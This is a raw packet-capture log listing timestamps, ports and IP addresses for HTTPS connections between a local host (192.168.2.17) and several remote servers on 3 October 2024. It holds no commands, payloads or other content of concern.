Oct 3, 2024 17:19:50.673901081 CEST	443	56045	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.673921108 CEST	443	56045	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.673942089 CEST	443	56045	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.673986912 CEST	56045	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.674021006 CEST	443	56045	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.674041033 CEST	56045	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.674074888 CEST	56045	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.674640894 CEST	56045	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.674722910 CEST	443	56045	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.674802065 CEST	56045	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.677865982 CEST	56063	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.677906036 CEST	443	56063	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.678062916 CEST	56063	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.678298950 CEST	56063	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:50.678328037 CEST	443	56063	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:50.837750912 CEST	443	56051	142.250.186.174	192.168.2.17
Oct 3, 2024 17:19:50.838161945 CEST	56051	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:19:50.838193893 CEST	443	56051	142.250.186.174	192.168.2.17
Oct 3, 2024 17:19:50.838891983 CEST	443	56051	142.250.186.174	192.168.2.17
Oct 3, 2024 17:19:50.839296103 CEST	56051	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:19:50.839410067 CEST	443	56051	142.250.186.174	192.168.2.17
Oct 3, 2024 17:19:50.839478970 CEST	56051	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:19:50.887408972 CEST	443	56051	142.250.186.174	192.168.2.17
Oct 3, 2024 17:19:51.102252960 CEST	443	56053	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.102693081 CEST	56053	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.102725029 CEST	443	56053	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.103209972 CEST	443	56053	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.103641987 CEST	56053	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.103734016 CEST	443	56053	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.103807926 CEST	56053	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.130125999 CEST	443	56052	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.130451918 CEST	56052	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.130470037 CEST	443	56052	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.130817890 CEST	443	56052	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.131683111 CEST	56052	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.131747007 CEST	443	56052	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.131885052 CEST	56052	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.132358074 CEST	443	56051	142.250.186.174	192.168.2.17
Oct 3, 2024 17:19:51.132503986 CEST	443	56051	142.250.186.174	192.168.2.17
Oct 3, 2024 17:19:51.132591009 CEST	56051	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:19:51.134139061 CEST	56051	443	192.168.2.17	142.250.186.174
Oct 3, 2024 17:19:51.134165049 CEST	443	56051	142.250.186.174	192.168.2.17
Oct 3, 2024 17:19:51.151433945 CEST	443	56053	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.173312902 CEST	443	56054	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.173682928 CEST	56054	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.173697948 CEST	443	56054	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.174179077 CEST	443	56054	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.174585104 CEST	56054	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.174659967 CEST	443	56054	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.174818039 CEST	56054	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.175419092 CEST	443	56052	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.202877045 CEST	443	56055	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.203247070 CEST	56055	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.203260899 CEST	443	56055	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.203645945 CEST	443	56055	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.204154968 CEST	56055	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.204241037 CEST	443	56055	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.204474926 CEST	56055	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.219398975 CEST	443	56054	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.245759010 CEST	443	56057	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.246243000 CEST	56057	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.246288061 CEST	443	56057	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.247179985 CEST	443	56057	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.247241974 CEST	56057	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.247744083 CEST	56057	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.247802019 CEST	443	56057	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.247945070 CEST	56057	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.247955084 CEST	443	56057	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.251409054 CEST	443	56055	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.256954908 CEST	443	56056	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.257261992 CEST	56056	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.257285118 CEST	443	56056	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.258263111 CEST	443	56056	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.258332014 CEST	56056	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.258902073 CEST	56056	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.258965969 CEST	443	56056	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.259094954 CEST	56056	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.259104967 CEST	443	56056	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.289519072 CEST	56057	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.305536032 CEST	56056	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.319802046 CEST	443	56062	46.137.24.228	192.168.2.17
Oct 3, 2024 17:19:51.320164919 CEST	56062	443	192.168.2.17	46.137.24.228
Oct 3, 2024 17:19:51.320194960 CEST	443	56062	46.137.24.228	192.168.2.17
Oct 3, 2024 17:19:51.323254108 CEST	443	56062	46.137.24.228	192.168.2.17
Oct 3, 2024 17:19:51.323358059 CEST	56062	443	192.168.2.17	46.137.24.228
Oct 3, 2024 17:19:51.324768066 CEST	56062	443	192.168.2.17	46.137.24.228
Oct 3, 2024 17:19:51.324846983 CEST	443	56062	46.137.24.228	192.168.2.17
Oct 3, 2024 17:19:51.324979067 CEST	56062	443	192.168.2.17	46.137.24.228
Oct 3, 2024 17:19:51.324987888 CEST	443	56062	46.137.24.228	192.168.2.17
Oct 3, 2024 17:19:51.333324909 CEST	443	56058	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.333621025 CEST	56058	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.333633900 CEST	443	56058	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.334636927 CEST	443	56058	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.334707975 CEST	56058	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.335067987 CEST	56058	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.335124969 CEST	443	56058	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.335220098 CEST	56058	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.335226059 CEST	443	56058	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.341533899 CEST	443	56059	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.341820002 CEST	56059	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.341857910 CEST	443	56059	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.344846964 CEST	443	56059	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.344937086 CEST	56059	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.345352888 CEST	56059	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.345431089 CEST	443	56059	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.345515013 CEST	56059	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.345527887 CEST	443	56059	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.364976883 CEST	443	56060	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.365446091 CEST	56060	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.365509033 CEST	443	56060	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.366565943 CEST	443	56060	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.366676092 CEST	56060	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.367070913 CEST	56060	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.367145061 CEST	443	56060	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.367289066 CEST	56060	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.367306948 CEST	443	56060	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.369493961 CEST	56062	443	192.168.2.17	46.137.24.228
Oct 3, 2024 17:19:51.371624947 CEST	443	56053	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.371850014 CEST	443	56053	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.371927023 CEST	56053	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.371963024 CEST	443	56053	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.372045040 CEST	56053	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.373867989 CEST	56053	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.373895884 CEST	443	56053	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.373966932 CEST	443	56053	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.373970985 CEST	56053	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.374039888 CEST	56053	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.383327007 CEST	443	56061	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.383703947 CEST	56061	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.383774042 CEST	443	56061	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.384802103 CEST	443	56061	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.384881020 CEST	56061	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.385334969 CEST	56061	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.385390997 CEST	443	56061	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.385519981 CEST	56058	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.385531902 CEST	56059	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.385704994 CEST	56061	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.385710955 CEST	443	56061	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.398623943 CEST	443	56063	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.398947001 CEST	56063	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.398967028 CEST	443	56063	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.400424957 CEST	443	56063	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.400517941 CEST	56063	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.400890112 CEST	56063	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.400973082 CEST	443	56063	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.401057005 CEST	56063	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.401068926 CEST	443	56063	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.417495012 CEST	56060	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.433482885 CEST	56061	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.449500084 CEST	56063	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.479577065 CEST	443	56055	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.479635000 CEST	443	56055	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.479711056 CEST	443	56055	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.479743004 CEST	56055	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.479800940 CEST	56055	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.480926991 CEST	56055	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.480946064 CEST	443	56055	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.527412891 CEST	443	56057	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.533355951 CEST	443	56057	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.533368111 CEST	443	56057	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.533411980 CEST	443	56057	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.533430099 CEST	443	56057	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.533483028 CEST	56057	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.533520937 CEST	443	56057	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.533550024 CEST	56057	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.533552885 CEST	443	56057	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.533617020 CEST	56057	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.533953905 CEST	56057	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.533973932 CEST	443	56057	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.611752033 CEST	443	56059	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.613718987 CEST	443	56062	46.137.24.228	192.168.2.17
Oct 3, 2024 17:19:51.613898039 CEST	443	56062	46.137.24.228	192.168.2.17
Oct 3, 2024 17:19:51.613981962 CEST	56062	443	192.168.2.17	46.137.24.228
Oct 3, 2024 17:19:51.614351988 CEST	56062	443	192.168.2.17	46.137.24.228
Oct 3, 2024 17:19:51.614362955 CEST	443	56062	46.137.24.228	192.168.2.17
Oct 3, 2024 17:19:51.621370077 CEST	443	56059	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.621381998 CEST	443	56059	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.621402979 CEST	443	56059	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.621489048 CEST	56059	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.621552944 CEST	443	56059	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.621684074 CEST	56059	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.628134012 CEST	56064	443	192.168.2.17	52.214.203.240
Oct 3, 2024 17:19:51.628225088 CEST	443	56064	52.214.203.240	192.168.2.17
Oct 3, 2024 17:19:51.628345966 CEST	56064	443	192.168.2.17	52.214.203.240
Oct 3, 2024 17:19:51.628554106 CEST	56064	443	192.168.2.17	52.214.203.240
Oct 3, 2024 17:19:51.628571033 CEST	443	56064	52.214.203.240	192.168.2.17
Oct 3, 2024 17:19:51.652822018 CEST	56065	443	192.168.2.17	54.72.136.225
Oct 3, 2024 17:19:51.652873993 CEST	443	56065	54.72.136.225	192.168.2.17
Oct 3, 2024 17:19:51.652967930 CEST	56065	443	192.168.2.17	54.72.136.225
Oct 3, 2024 17:19:51.653202057 CEST	56065	443	192.168.2.17	54.72.136.225
Oct 3, 2024 17:19:51.653239965 CEST	443	56065	54.72.136.225	192.168.2.17
Oct 3, 2024 17:19:51.658838987 CEST	443	56061	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.668572903 CEST	443	56061	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.668582916 CEST	443	56061	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.668596029 CEST	443	56061	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.668685913 CEST	56061	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.668706894 CEST	443	56061	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.668766975 CEST	56061	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.670181990 CEST	443	56063	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.675851107 CEST	443	56063	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.675878048 CEST	443	56063	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.675924063 CEST	443	56063	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.675971031 CEST	56063	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.676037073 CEST	443	56063	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.676104069 CEST	56063	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.676412106 CEST	443	56063	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.676479101 CEST	443	56063	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.676534891 CEST	56063	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.676773071 CEST	56063	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.676803112 CEST	443	56063	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.698707104 CEST	443	56059	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.698776007 CEST	443	56059	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.698801041 CEST	443	56059	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:51.698823929 CEST	56059	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.698894024 CEST	56059	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.699273109 CEST	56059	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:51.699295998 CEST	443	56059	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.090832949 CEST	443	56061	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.090863943 CEST	443	56061	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.090913057 CEST	443	56061	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.090986013 CEST	56061	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.091015100 CEST	443	56061	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.091054916 CEST	443	56061	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.091089010 CEST	56061	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.091104984 CEST	443	56061	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.091113091 CEST	56061	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.091134071 CEST	443	56061	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.091160059 CEST	56061	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.091187000 CEST	56061	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.091779947 CEST	443	56052	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.092206955 CEST	443	56054	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.092240095 CEST	443	56054	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.092297077 CEST	56054	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.092313051 CEST	443	56054	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.092338085 CEST	443	56054	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.092387915 CEST	56054	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.092463017 CEST	443	56056	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.092798948 CEST	443	56058	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.092843056 CEST	443	56058	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.092890978 CEST	56058	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.092916965 CEST	443	56058	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.092936039 CEST	443	56058	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.092984915 CEST	56058	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.093055010 CEST	443	56060	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.093087912 CEST	443	56060	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.093130112 CEST	56060	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.093158007 CEST	443	56060	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.093179941 CEST	443	56060	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.093236923 CEST	56060	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.095993996 CEST	443	56061	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.096035004 CEST	443	56061	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.096087933 CEST	56061	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.096101046 CEST	443	56061	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.096164942 CEST	56061	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.096420050 CEST	443	56052	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.096465111 CEST	443	56052	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.096482992 CEST	56052	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.096497059 CEST	443	56052	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.096518040 CEST	56052	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.096550941 CEST	56052	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.096566916 CEST	443	56052	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.096615076 CEST	56052	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.096620083 CEST	443	56052	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.096712112 CEST	443	56052	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.096755981 CEST	56052	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.097198009 CEST	443	56056	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.097218990 CEST	443	56056	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.097260952 CEST	443	56056	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.097271919 CEST	56056	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.097294092 CEST	443	56056	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.097326040 CEST	56056	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.097356081 CEST	443	56056	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.097394943 CEST	56056	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.097403049 CEST	443	56056	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.097419977 CEST	56056	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.097455025 CEST	56056	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.097470999 CEST	443	56056	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.097517014 CEST	56056	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.098258018 CEST	443	56061	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.098299980 CEST	443	56061	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.098356009 CEST	56061	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.098364115 CEST	443	56061	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.098470926 CEST	56061	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.099368095 CEST	443	56061	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.099515915 CEST	443	56061	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.099677086 CEST	56061	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.099677086 CEST	56061	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.101820946 CEST	56061	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.101844072 CEST	443	56061	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.104379892 CEST	56060	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.104408026 CEST	443	56060	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.114164114 CEST	56058	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.114214897 CEST	443	56058	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.115628958 CEST	56054	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.115644932 CEST	443	56054	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.118287086 CEST	56056	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.118300915 CEST	443	56056	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.134881973 CEST	56052	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.134902954 CEST	443	56052	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.145277977 CEST	56067	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.145369053 CEST	443	56067	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.145488977 CEST	56067	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.146699905 CEST	56068	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.146759033 CEST	443	56068	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.146836996 CEST	56068	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.146962881 CEST	56067	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.146997929 CEST	443	56067	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.147100925 CEST	56068	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.147115946 CEST	443	56068	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.148310900 CEST	56069	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.148356915 CEST	443	56069	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.148446083 CEST	56069	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.149130106 CEST	56069	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.149151087 CEST	443	56069	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.151735067 CEST	56070	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:52.151762962 CEST	443	56070	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:52.151840925 CEST	56070	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:52.152612925 CEST	56072	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.152645111 CEST	443	56072	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.152700901 CEST	56072	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.152950048 CEST	56070	443	192.168.2.17	34.117.39.58
Oct 3, 2024 17:19:52.152966022 CEST	443	56070	34.117.39.58	192.168.2.17
Oct 3, 2024 17:19:52.153405905 CEST	56072	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.153419971 CEST	443	56072	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.154227018 CEST	56073	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.154273033 CEST	443	56073	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.154350996 CEST	56073	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.154522896 CEST	56073	443	192.168.2.17	13.33.187.116
Oct 3, 2024 17:19:52.154537916 CEST	443	56073	13.33.187.116	192.168.2.17
Oct 3, 2024 17:19:52.156775951 CEST	56074	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:52.156800985 CEST	443	56074	35.201.112.186	192.168.2.17
Oct 3, 2024 17:19:52.156862020 CEST	56074	443	192.168.2.17	35.201.112.186
Oct 3, 2024 17:19:52.157077074 CEST	56074	443	192.168.2.17	35.201.112.186
